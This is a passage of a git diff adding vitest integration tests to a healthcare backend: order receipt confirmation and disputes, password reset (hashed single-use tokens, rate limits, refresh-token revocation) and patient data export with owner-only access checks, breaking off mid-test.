.post(`/orders/${orderId}/confirm-receipt`) + .set('Authorization', `Bearer ${patient2Token}`); + expect(p2Confirm.status).toBe(403); + + // Patient 1 confirms receipt + const confirmRes = await request(app) + .post(`/orders/${orderId}/confirm-receipt`) + .set('Authorization', `Bearer ${patient1Token}`); + expect(confirmRes.status).toBe(200); + expect(confirmRes.body.confirmed).toBe(true); + expect(confirmRes.body.confirmationSource).toBe('patient'); + expect(confirmRes.body.confirmedSignal).toBe(true); + + // Patient 1 attempts to dispute confirmed order -> 409 Conflict + const disputeRes = await request(app) + .post(`/orders/${orderId}/dispute`) + .set('Authorization', `Bearer ${patient1Token}`) + .send({ reason: 'Damaged package' }); + expect(disputeRes.status).toBe(409); + }); + + it('disputing an order prevents receipt confirmation and appears in admin dispute queue', async () => { + // Create & fulfill lab order for patient 1 + const orderRes = await request(app) + .post('/lab-orders') + .set('Authorization', `Bearer ${patient1Token}`) + .send({ patientProfileId: patient1ProfileId, details: 'Blood Panel Test' }); + const orderId = orderRes.body.id; + + await request(app) + .post(`/lab-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: 'REF-LAB-001' }); + + // Dispute without reason -> 400 Bad Request + const noReason = await request(app) + .post(`/orders/${orderId}/dispute`) + .set('Authorization', `Bearer ${patient1Token}`) + .send({ reason: ' ' }); + expect(noReason.status).toBe(400); + + // Dispute with reason -> 200 + const disputeRes = await request(app) + .post(`/orders/${orderId}/dispute`) + .set('Authorization', `Bearer ${patient1Token}`) + .send({ reason: 'Sample results missing' }); + expect(disputeRes.status).toBe(200); + expect(disputeRes.body.disputed).toBe(true); + + // Attempting confirm receipt now -> 409 Conflict + const confirmRes = await request(app) + .post(`/orders/${orderId}/confirm-receipt`) + .set('Authorization', `Bearer ${patient1Token}`); + expect(confirmRes.status).toBe(409); + + // Admin lists disputes + const adminQueue = await request(app) + .get('/admin/orders/disputes') + .set('Authorization', `Bearer ${adminToken}`); + expect(adminQueue.status).toBe(200); + expect(adminQueue.body.length).toBeGreaterThan(0); + const disputeItem = adminQueue.body.find((d: any) => d.orderId === orderId); + expect(disputeItem).toBeTruthy(); + expect(disputeItem.reason).toBe('Sample results missing'); + expect(disputeItem.status).toBe('pending'); + + // Admin resolves dispute + const resolveRes = await request(app) + .post(`/admin/orders/disputes/${disputeItem.id}/resolve`) + .set('Authorization', `Bearer ${adminToken}`) + .send({ + resolutionNotes: 'Refund issued to patient account', + outcome: 'refunded', + }); + expect(resolveRes.status).toBe(200); + expect(resolveRes.body.dispute.status).toBe('resolved'); + expect(resolveRes.body.dispute.resolutions).toHaveLength(1); + expect(resolveRes.body.dispute.resolutions[0].outcome).toBe('refunded'); + + // Note: resolving dispute does NOT mark order as confirmed! + const updatedOrder = await request(app) + .get(`/orders/${orderId}`) + .set('Authorization', `Bearer ${patient1Token}`); + expect(updatedOrder.body.confirmed).toBe(false); + }); + + it('expiry job auto-confirms unconfirmed orders past window and NEVER confirms disputed orders', async () => { + // 1. Order A: fulfilled, past window -> should be auto-confirmed with confirmationSource: 'timeout' + const orderARes = await request(app) + .post('/pharmacy-orders') + .set('Authorization', `Bearer ${patient1Token}`) + .send({ patientProfileId: patient1ProfileId, details: 'Metformin 500mg' }); + const orderAId = orderARes.body.id; + + await request(app) + .post(`/pharmacy-orders/${orderAId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: 'REF-EXP-A' }); + + // Backdate fulfilledAt 100 hours ago (> 72 hr default window) + const hundredHoursAgo = new Date(Date.now() - 100 * 60 * 60 * 1000); + await prisma.order.update({ + where: { id: orderAId }, + data: { fulfilledAt: hundredHoursAgo }, + }); + + // 2. Order B: fulfilled, past window, BUT disputed -> must NOT be auto-confirmed + const orderBRes = await request(app) + .post('/pharmacy-orders') + .set('Authorization', `Bearer ${patient1Token}`) + .send({ patientProfileId: patient1ProfileId, details: 'Omeprazole 20mg' }); + const orderBId = orderBRes.body.id; + + await request(app) + .post(`/pharmacy-orders/${orderBId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: 'REF-EXP-B' }); + + await request(app) + .post(`/orders/${orderBId}/dispute`) + .set('Authorization', `Bearer ${patient1Token}`) + .send({ reason: 'Incorrect dosage provided' }); + + await prisma.order.update({ + where: { id: orderBId }, + data: { fulfilledAt: hundredHoursAgo }, + }); + + // Run expiry job + const { confirmedCount } = await expireUnconfirmedOrders(72); + expect(confirmedCount).toBeGreaterThanOrEqual(1); + + // Verify Order A is confirmed + const orderA = await prisma.order.findUniqueOrThrow({ where: { id: orderAId } }); + expect(orderA.confirmed).toBe(true); + expect(orderA.confirmationSource).toBe('timeout'); + + // Verify Order B remains unconfirmed + const orderB = await prisma.order.findUniqueOrThrow({ where: { id: orderBId } }); + expect(orderB.confirmed).toBe(false); + expect(orderB.disputed).toBe(true); + + // Re-running expiry job -> idempotent + const rerun = await expireUnconfirmedOrders(72); + expect(rerun.confirmedCount).toBe(0); + }); +}); diff --git a/backend/tests/integration/password-reset.test.mts b/backend/tests/integration/password-reset.test.mts index 1e9b3c98..b9a116c1 100644 --- a/backend/tests/integration/password-reset.test.mts +++ b/backend/tests/integration/password-reset.test.mts @@ -1,236 +1,236 @@ -// Password reset (Phase 8 #33) β€” integration, against a real Postgres, -// because the properties that matter here are DB-level ones: only the hash -// is stored, a token is single-use, a second request supersedes the first, -// and old refresh tokens die after a reset. A mocked repository would not -// prove any of that. -// -// Self-contained like booking.test.mts: throwaway Postgres on port 5449 -// (distinct port per integration file β€” vitest runs files in parallel). -import { execFileSync } from 'node:child_process'; -import { createHash } from 'node:crypto'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5449; -const runId = Date.now(); - -// Must be set before anything from src/ is imported: config/index.ts reads -// process.env at module load. A high per-IP limit keeps the per-email limit -// (the one under test) reachable from a single test-runner IP. -process.env.PASSWORD_RESET_REQUESTS_PER_IP_PER_HOUR = '1000'; -process.env.PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR = '3'; -process.env.PASSWORD_RESET_TOKEN_TTL_MINUTES = '30'; -// vitest.config.mts points DATABASE_URL at booking.test.mts's cluster -// (5433); this file runs its own on 5449, so it has to say so before -// src/db/prisma-client.ts constructs the client at import time. -process.env.DATABASE_URL = 'postgresql://docforum:docforum@localhost:5449/docforum_test'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-reset-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -const GENERIC_INVALID = 'This password reset link is invalid or has expired. Request a new one.'; - -type App = ReturnType; - -describe('password reset', () => { - let app: App; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let setNotificationChannel: typeof import('../../src/modules/notifications/services/index.js').setNotificationChannel; - let resetRateLimits: typeof import('../../src/modules/auth/services/index.js').resetPasswordResetRateLimits; - let sent: { to: string; subject: string; body: string }[]; - - const email = `reset-${runId}@example.com`; - const originalPassword = 'original-password-1'; - const newPassword = 'brand-new-password-2'; - - /** The most recent reset link dispatched through the notifications - * interface β€” this is the "console/dev adapter" seam, replaced by a spy. */ - function lastToken(): string { - const last = sent.at(-1); - if (!last) throw new Error('no notification was sent'); - const match = /token=([^\s]+)/.exec(last.body); - if (!match) throw new Error('no token in notification body'); - return decodeURIComponent(match[1]); - } - - function requestReset(targetEmail: string) { - return request(app).post('/auth/password-reset/request').send({ email: targetEmail }); - } - - function confirmReset(token: string, password: string) { - return request(app).post('/auth/password-reset/confirm').send({ token, newPassword: password }); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - const [appModule, dbModule, notificationsModule, authModule] = await Promise.all([ - import('../../src/app.js'), - import('../../src/db/prisma-client.js'), - import('../../src/modules/notifications/services/index.js'), - import('../../src/modules/auth/services/index.js'), - ]); - app = appModule.createApp(); - prisma = dbModule.prisma; - setNotificationChannel = notificationsModule.setNotificationChannel; - resetRateLimits = authModule.resetPasswordResetRateLimits; - - sent = []; - setNotificationChannel({ - async send(message) { - sent.push(message); - }, - }); - - const signup = await request(app) - .post('/auth/signup') - .send({ role: 'patient', email, password: originalPassword, fullName: 'Reset Tester' }); - expect(signup.status).toBe(200); - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - // The rate limiters are module-level singletons (so the limit genuinely - // holds across requests) β€” reset them so one test's requests can't make - // the next test's first request a 429. The limit itself is exercised in - // its own test below. - beforeEach(() => { - resetRateLimits(); - }); - - it('answers identically for an unknown and a known email (no account-existence leak)', async () => { - const before = sent.length; - const unknown = await requestReset(`nobody-${runId}@example.com`); - const known = await requestReset(email); - - expect(unknown.status).toBe(202); - expect(known.status).toBe(202); - expect(known.body).toEqual(unknown.body); - // No account, no notification β€” and nothing in the response says so. - expect(sent.length).toBe(before + 1); - expect(sent.at(-1)?.to).toBe(email); - }); - - it('stores only the SHA-256 hash of the token, never the raw token', async () => { - expect((await requestReset(email)).status).toBe(202); - const rawToken = lastToken(); - - const rows = await prisma.passwordResetToken.findMany({ where: { userId: (await prisma.user.findUniqueOrThrow({ where: { email } })).id } }); - expect(rows.length).toBeGreaterThan(0); - - const expectedHash = createHash('sha256').update(rawToken).digest('hex'); - expect(rows.some((row) => row.tokenHash === expectedHash)).toBe(true); - expect(rows.every((row) => row.tokenHash !== rawToken)).toBe(true); - }); - - it('resets the password and rejects reusing the same token', async () => { - expect((await requestReset(email)).status).toBe(202); - const rawToken = lastToken(); - - const first = await confirmReset(rawToken, newPassword); - expect(first.status).toBe(200); - - const reuse = await confirmReset(rawToken, 'yet-another-password-3'); - expect(reuse.status).toBe(400); - expect(reuse.body.message).toBe(GENERIC_INVALID); - - // The new password is live, the old one is not. - expect((await request(app).post('/auth/login').send({ email, password: newPassword })).status).toBe(200); - expect((await request(app).post('/auth/login').send({ email, password: originalPassword })).status).toBe(401); - }); - - it('invalidates the previous token when a second reset is requested', async () => { - expect((await requestReset(email)).status).toBe(202); - const superseded = lastToken(); - expect((await requestReset(email)).status).toBe(202); - const current = lastToken(); - - const stale = await confirmReset(superseded, 'stale-token-password-1'); - expect(stale.status).toBe(400); - expect(stale.body.message).toBe(GENERIC_INVALID); - - expect((await confirmReset(current, newPassword)).status).toBe(200); - }); - - it('rejects an expired token with the same generic error', async () => { - const user = await prisma.user.findUniqueOrThrow({ where: { email } }); - const rawToken = `expired-${runId}`; - await prisma.passwordResetToken.create({ - data: { - userId: user.id, - tokenHash: createHash('sha256').update(rawToken).digest('hex'), - expiresAt: new Date(Date.now() - 60_000), - }, - }); - - const res = await confirmReset(rawToken, 'expired-token-password-1'); - expect(res.status).toBe(400); - expect(res.body.message).toBe(GENERIC_INVALID); - }); - - it('rejects a token that was never issued, with the same generic error', async () => { - const res = await confirmReset('definitely-not-a-real-token', 'whatever-password-1'); - expect(res.status).toBe(400); - expect(res.body.message).toBe(GENERIC_INVALID); - }); - - it('stops accepting refresh tokens issued before the reset', async () => { - const login = await request(app).post('/auth/login').send({ email, password: newPassword }); - expect(login.status).toBe(200); - const cookie = login.headers['set-cookie']?.[0] as unknown as string; - const csrfToken = login.body.csrfToken as string; - expect(cookie).toBeTruthy(); - expect(csrfToken).toBeTruthy(); - - expect( - (await request(app).post('/auth/refresh').set('Cookie', cookie).set('X-CSRF-Token', csrfToken)).status, - ).toBe(200); - - expect((await requestReset(email)).status).toBe(202); - expect((await confirmReset(lastToken(), newPassword)).status).toBe(200); - - // Same cookie, same token β€” now revoked by the tokenVersion bump. - const afterReset = await request(app) - .post('/auth/refresh') - .set('Cookie', cookie) - .set('X-CSRF-Token', csrfToken); - expect(afterReset.status).toBe(401); - }); - - it('rate-limits requests per email', async () => { - // 3 is the configured per-email limit (PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR). - const limitedEmail = `limited-${runId}@example.com`; - expect((await requestReset(limitedEmail)).status).toBe(202); - expect((await requestReset(limitedEmail)).status).toBe(202); - expect((await requestReset(limitedEmail)).status).toBe(202); - - const tooMany = await requestReset(limitedEmail); - expect(tooMany.status).toBe(429); - }); -}); +// Password reset (Phase 8 #33) β€” integration, against a real Postgres, +// because the properties that matter here are DB-level ones: only the hash +// is stored, a token is single-use, a second request supersedes the first, +// and old refresh tokens die after a reset. A mocked repository would not +// prove any of that. +// +// Self-contained like booking.test.mts: throwaway Postgres on port 5449 +// (distinct port per integration file β€” vitest runs files in parallel). +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5449; +const runId = Date.now(); + +// Must be set before anything from src/ is imported: config/index.ts reads +// process.env at module load. A high per-IP limit keeps the per-email limit +// (the one under test) reachable from a single test-runner IP. +process.env.PASSWORD_RESET_REQUESTS_PER_IP_PER_HOUR = '1000'; +process.env.PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR = '3'; +process.env.PASSWORD_RESET_TOKEN_TTL_MINUTES = '30'; +// vitest.config.mts points DATABASE_URL at booking.test.mts's cluster +// (5433); this file runs its own on 5449, so it has to say so before +// src/db/prisma-client.ts constructs the client at import time. +process.env.DATABASE_URL = 'postgresql://docforum:docforum@localhost:5449/docforum_test'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-reset-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +const GENERIC_INVALID = 'This password reset link is invalid or has expired. Request a new one.'; + +type App = ReturnType; + +describe('password reset', () => { + let app: App; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let setNotificationChannel: typeof import('../../src/modules/notifications/services/index.js').setNotificationChannel; + let resetRateLimits: typeof import('../../src/modules/auth/services/index.js').resetPasswordResetRateLimits; + let sent: { to: string; subject: string; body: string }[]; + + const email = `reset-${runId}@example.com`; + const originalPassword = 'original-password-1'; + const newPassword = 'brand-new-password-2'; + + /** The most recent reset link dispatched through the notifications + * interface β€” this is the "console/dev adapter" seam, replaced by a spy. */ + function lastToken(): string { + const last = sent.at(-1); + if (!last) throw new Error('no notification was sent'); + const match = /token=([^\s]+)/.exec(last.body); + if (!match) throw new Error('no token in notification body'); + return decodeURIComponent(match[1]); + } + + function requestReset(targetEmail: string) { + return request(app).post('/auth/password-reset/request').send({ email: targetEmail }); + } + + function confirmReset(token: string, password: string) { + return request(app).post('/auth/password-reset/confirm').send({ token, newPassword: password }); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + const [appModule, dbModule, notificationsModule, authModule] = await Promise.all([ + import('../../src/app.js'), + import('../../src/db/prisma-client.js'), + import('../../src/modules/notifications/services/index.js'), + import('../../src/modules/auth/services/index.js'), + ]); + app = appModule.createApp(); + prisma = dbModule.prisma; + setNotificationChannel = notificationsModule.setNotificationChannel; + resetRateLimits = authModule.resetPasswordResetRateLimits; + + sent = []; + setNotificationChannel({ + async send(message) { + sent.push(message); + }, + }); + + const signup = await request(app) + .post('/auth/signup') + .send({ role: 'patient', email, password: originalPassword, fullName: 'Reset Tester' }); + expect(signup.status).toBe(200); + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + // The rate limiters are module-level singletons (so the limit genuinely + // holds across requests) β€” reset them so one test's requests can't make + // the next test's first request a 429. The limit itself is exercised in + // its own test below. + beforeEach(() => { + resetRateLimits(); + }); + + it('answers identically for an unknown and a known email (no account-existence leak)', async () => { + const before = sent.length; + const unknown = await requestReset(`nobody-${runId}@example.com`); + const known = await requestReset(email); + + expect(unknown.status).toBe(202); + expect(known.status).toBe(202); + expect(known.body).toEqual(unknown.body); + // No account, no notification β€” and nothing in the response says so. + expect(sent.length).toBe(before + 1); + expect(sent.at(-1)?.to).toBe(email); + }); + + it('stores only the SHA-256 hash of the token, never the raw token', async () => { + expect((await requestReset(email)).status).toBe(202); + const rawToken = lastToken(); + + const rows = await prisma.passwordResetToken.findMany({ where: { userId: (await prisma.user.findUniqueOrThrow({ where: { email } })).id } }); + expect(rows.length).toBeGreaterThan(0); + + const expectedHash = createHash('sha256').update(rawToken).digest('hex'); + expect(rows.some((row) => row.tokenHash === expectedHash)).toBe(true); + expect(rows.every((row) => row.tokenHash !== rawToken)).toBe(true); + }); + + it('resets the password and rejects reusing the same token', async () => { + expect((await requestReset(email)).status).toBe(202); + const rawToken = lastToken(); + + const first = await confirmReset(rawToken, newPassword); + expect(first.status).toBe(200); + + const reuse = await confirmReset(rawToken, 'yet-another-password-3'); + expect(reuse.status).toBe(400); + expect(reuse.body.message).toBe(GENERIC_INVALID); + + // The new password is live, the old one is not. + expect((await request(app).post('/auth/login').send({ email, password: newPassword })).status).toBe(200); + expect((await request(app).post('/auth/login').send({ email, password: originalPassword })).status).toBe(401); + }); + + it('invalidates the previous token when a second reset is requested', async () => { + expect((await requestReset(email)).status).toBe(202); + const superseded = lastToken(); + expect((await requestReset(email)).status).toBe(202); + const current = lastToken(); + + const stale = await confirmReset(superseded, 'stale-token-password-1'); + expect(stale.status).toBe(400); + expect(stale.body.message).toBe(GENERIC_INVALID); + + expect((await confirmReset(current, newPassword)).status).toBe(200); + }); + + it('rejects an expired token with the same generic error', async () => { + const user = await prisma.user.findUniqueOrThrow({ where: { email } }); + const rawToken = `expired-${runId}`; + await prisma.passwordResetToken.create({ + data: { + userId: user.id, + tokenHash: createHash('sha256').update(rawToken).digest('hex'), + expiresAt: new Date(Date.now() - 60_000), + }, + }); + + const res = await confirmReset(rawToken, 'expired-token-password-1'); + expect(res.status).toBe(400); + expect(res.body.message).toBe(GENERIC_INVALID); + }); + + it('rejects a token that was never issued, with the same generic error', async () => { + const res = await confirmReset('definitely-not-a-real-token', 'whatever-password-1'); + expect(res.status).toBe(400); + expect(res.body.message).toBe(GENERIC_INVALID); + }); + + it('stops accepting refresh tokens issued before the reset', async () => { + const login = await request(app).post('/auth/login').send({ email, password: newPassword }); + expect(login.status).toBe(200); + const cookie = login.headers['set-cookie']?.[0] as unknown as string; + const csrfToken = login.body.csrfToken as string; + expect(cookie).toBeTruthy(); + expect(csrfToken).toBeTruthy(); + + expect( + (await request(app).post('/auth/refresh').set('Cookie', cookie).set('X-CSRF-Token', csrfToken)).status, + ).toBe(200); + + expect((await requestReset(email)).status).toBe(202); + expect((await confirmReset(lastToken(), newPassword)).status).toBe(200); + + // Same cookie, same token β€” now revoked by the tokenVersion bump. + const afterReset = await request(app) + .post('/auth/refresh') + .set('Cookie', cookie) + .set('X-CSRF-Token', csrfToken); + expect(afterReset.status).toBe(401); + }); + + it('rate-limits requests per email', async () => { + // 3 is the configured per-email limit (PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR). + const limitedEmail = `limited-${runId}@example.com`; + expect((await requestReset(limitedEmail)).status).toBe(202); + expect((await requestReset(limitedEmail)).status).toBe(202); + expect((await requestReset(limitedEmail)).status).toBe(202); + + const tooMany = await requestReset(limitedEmail); + expect(tooMany.status).toBe(429); + }); +}); diff --git a/backend/tests/integration/patient-export.test.mts b/backend/tests/integration/patient-export.test.mts index dedfa07e..8319f3ba 100644 --- a/backend/tests/integration/patient-export.test.mts +++ b/backend/tests/integration/patient-export.test.mts @@ -1,480 +1,480 @@ -// Integration tests for patient data export (Phase 8, issue #40 β€” right of -// access): owner-only access, the job lifecycle, the bundle contents -// (sections from each module's service, tx hashes, no secrets), bounded -// streaming, failure handling, stale-claim recovery, and expiry/cleanup. -// Self-contained, same embedded-Postgres pattern as booking.test.mts β€” see -// that file's header for why. Own port (5442) so it runs alongside the -// other integration files. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import jwt from 'jsonwebtoken'; -import EmbeddedPostgres from 'embedded-postgres'; -import { createOrderFixture, createPaymentIntentForFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5442; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-export-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -// Sentinel platform secrets: the bundle must never contain them. -const PAYER_SECRET = `SPAYERSENTINEL${runId}`; -const RELEASER_SECRET = `SRELEASERSENTINEL${runId}`; -// Small pages and chunks so a modest fixture exercises multi-page, -// multi-chunk streaming. -const PAGE_SIZE = 7; -const CHUNK_BYTES = 1024; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; -type PatientsService = typeof import('../../src/modules/patients/services/index.js'); - -const emailedTokens = new Map(); - -describe('patient data export', () => { - let app: App; - let prisma: Prisma; - let patients: PatientsService; - - let doctorToken: string; - let doctorProfileId: string; - let adminToken: string; - let alice: { token: string; userId: string; profileId: string; email: string }; - let bob: { token: string; userId: string; profileId: string; email: string }; - let facilityId: string; - let aliceLabOrder: Awaited>; - let alicePrescription: Awaited>; - - async function signupVerified(role: 'patient' | 'doctor', label: string) { - const email = `${label}-${runId}@example.com`; - const res = await request(app) - .post('/auth/signup') - .send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); - expect(res.status).toBe(200); - const verified = await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) }); - expect(verified.status).toBe(200); - return { token: res.body.accessToken as string, userId: res.body.user.id as string, email }; - } - - async function signupPatient(label: string) { - const user = await signupVerified('patient', label); - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); - return { ...user, profileId: profile.id }; - } - - async function download(token: string, exportId: string) { - return request(app) - .get(`/patients/me/export/${exportId}/download`) - .set('Authorization', `Bearer ${token}`) - .buffer(true) - .parse((res, callback) => { - let data = ''; - res.setEncoding('utf8'); - res.on('data', (chunk: string) => (data += chunk)); - res.on('end', () => callback(null, data)); - }); - } - - async function requestAndGenerate(token: string) { - const created = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${token}`); - expect(created.status).toBe(202); - expect(await patients.processExport(created.body.id)).toBe('ready'); - return created.body.id as string; - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Must be set before the app module (config, PrismaClient) loads. - process.env.DATABASE_URL = databaseUrl; - process.env.PATIENT_EXPORT_PAGE_SIZE = String(PAGE_SIZE); - process.env.PATIENT_EXPORT_CHUNK_BYTES = String(CHUNK_BYTES); - process.env.PATIENT_EXPORT_TTL_HOURS = '24'; - process.env.PLATFORM_PAYER_SECRET = PAYER_SECRET; - process.env.PLATFORM_RELEASER_SECRET = RELEASER_SECRET; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const authServices = await import('../../src/modules/auth/services/index.js'); - patients = await import('../../src/modules/patients/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); - - const doctor = await signupVerified('doctor', 'export-doctor'); - doctorToken = doctor.token; - doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; - - const admin = await prisma.user.create({ - data: { email: `admin-${runId}@example.com`, passwordHash: 'x', role: 'admin', emailVerifiedAt: new Date() }, - }); - adminToken = jwt.sign({ sub: admin.id, role: 'admin' }, 'test-access-secret', { expiresIn: '15m' }); - - alice = await signupPatient('alice'); - bob = await signupPatient('bob'); - - // Alice books one appointment through the real booking endpoint... - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - const generate = await request(app) - .post(`/availability/doctors/${doctorProfileId}/slots/generate`) - .set('Authorization', `Bearer ${doctorToken}`) - .send({ date: tomorrow, startHour: 9, endHour: 10, slotLengthMinutes: 30 }); - expect(generate.status).toBe(201); - const slots = await request(app).get(`/availability/doctors/${doctorProfileId}/slots`); - const booked = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${alice.token}`) - .send({ availabilitySlotId: slots.body[0].id }); - expect(booked.status).toBe(201); - - // ...plus enough history to span several pages and chunks. - const base = Date.now() + 2 * 24 * 60 * 60 * 1000; - for (let i = 0; i < 20; i += 1) { - const slot = await prisma.availabilitySlot.create({ - data: { - doctorProfileId, - status: 'booked', - startTime: new Date(base + i * 30 * 60 * 1000), - endTime: new Date(base + (i + 1) * 30 * 60 * 1000), - }, - }); - await prisma.appointment.create({ - data: { patientProfileId: alice.profileId, doctorProfileId, availabilitySlotId: slot.id }, - }); - } - - const facilityUser = await prisma.user.create({ - data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' }, - }); - facilityId = ( - await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Lagos Lab', type: 'lab' } }) - ).id; - aliceLabOrder = await createOrderFixture(prisma, { patientProfileId: alice.profileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 12_345_678_901n, tag: `alice-lab-${runId}` }); - const aliceLabPayment = await createPaymentIntentForFixture(prisma, aliceLabOrder, 'escrowed'); - await prisma.paymentIntent.update({ where: { id: aliceLabPayment.id }, data: { escrowId: 42n, stellarTxHash: 'a'.repeat(64), sorobanContractId: 'CCONTRACT' } }); - alicePrescription = await createOrderFixture(prisma, { patientProfileId: alice.profileId, facilityProfileId: facilityId, kind: 'prescription', amountStroops: 5n, tag: `alice-rx-${runId}` }); - await createPaymentIntentForFixture(prisma, alicePrescription); - const bobPrescription = await createOrderFixture(prisma, { patientProfileId: bob.profileId, facilityProfileId: facilityId, kind: 'prescription', amountStroops: 9n, tag: `bob-rx-${runId}` }); - await prisma.paymentIntent.create({ data: { - prescriptionId: bobPrescription.id, patientProfileId: bob.profileId, facilityId, - amount: 9n, assetCode: 'XLM', stellarTxHash: 'b'.repeat(64), - } }); - }, 180_000); - - afterAll(async () => { - const authServices = await import('../../src/modules/auth/services/index.js'); - authServices.resetEmailSender(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('lets a patient request an export, deduplicating while one is in flight', async () => { - const [first, second] = await Promise.all([ - request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`), - request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`), - ]); - expect(first.status).toBe(202); - expect(second.status).toBe(202); - expect(first.body.id).toBe(second.body.id); - expect(first.body.status).toBe('pending'); - expect(first.body.downloadUrl).toBeNull(); - expect(first.headers.location).toBe(`/patients/me/export/${first.body.id}`); - expect(await prisma.patientExport.count({ where: { patientProfileId: bob.profileId } })).toBe(1); - - const status = await request(app) - .get(`/patients/me/export/${first.body.id}`) - .set('Authorization', `Bearer ${bob.token}`); - expect(status.status).toBe(200); - expect(status.body.status).toBe('pending'); - - // Download before it's ready is a 409, not a partial file. - const early = await download(bob.token, first.body.id); - expect(early.status).toBe(409); - expect(early.body).toContain('EXPORT_NOT_READY'); - - expect(await patients.processExport(first.body.id)).toBe('ready'); - // Once it's no longer in flight, a new request starts a new job. - const next = await request(app).post('/patients/me/export').set('Authorization', `Bearer ${bob.token}`); - expect(next.body.id).not.toBe(first.body.id); - await patients.processExport(next.body.id); - }); - - it('refuses doctors, admins and anonymous callers on every export route', async () => { - const exportId = (await prisma.patientExport.findFirstOrThrow({ where: { patientProfileId: bob.profileId } })).id; - for (const token of [doctorToken, adminToken]) { - const auth = { Authorization: `Bearer ${token}` }; - expect((await request(app).post('/patients/me/export').set(auth)).status).toBe(403); - expect((await request(app).get(`/patients/me/export/${exportId}`).set(auth)).status).toBe(403); - expect((await request(app).get(`/patients/me/export/${exportId}/download`).set(auth)).status).toBe(403); - } - expect((await request(app).post('/patients/me/export')).status).toBe(401); - expect((await request(app).get(`/patients/me/export/${exportId}`)).status).toBe(401); - // And no patient-id parameter is honoured anywhere: a body naming Bob - // still exports the caller (or nobody, for non-patients). - const sneaky = await request(app) - .post('/patients/me/export') - .set('Authorization', `Bearer ${alice.token}`) - .send({ patientProfileId: bob.profileId }); - const row 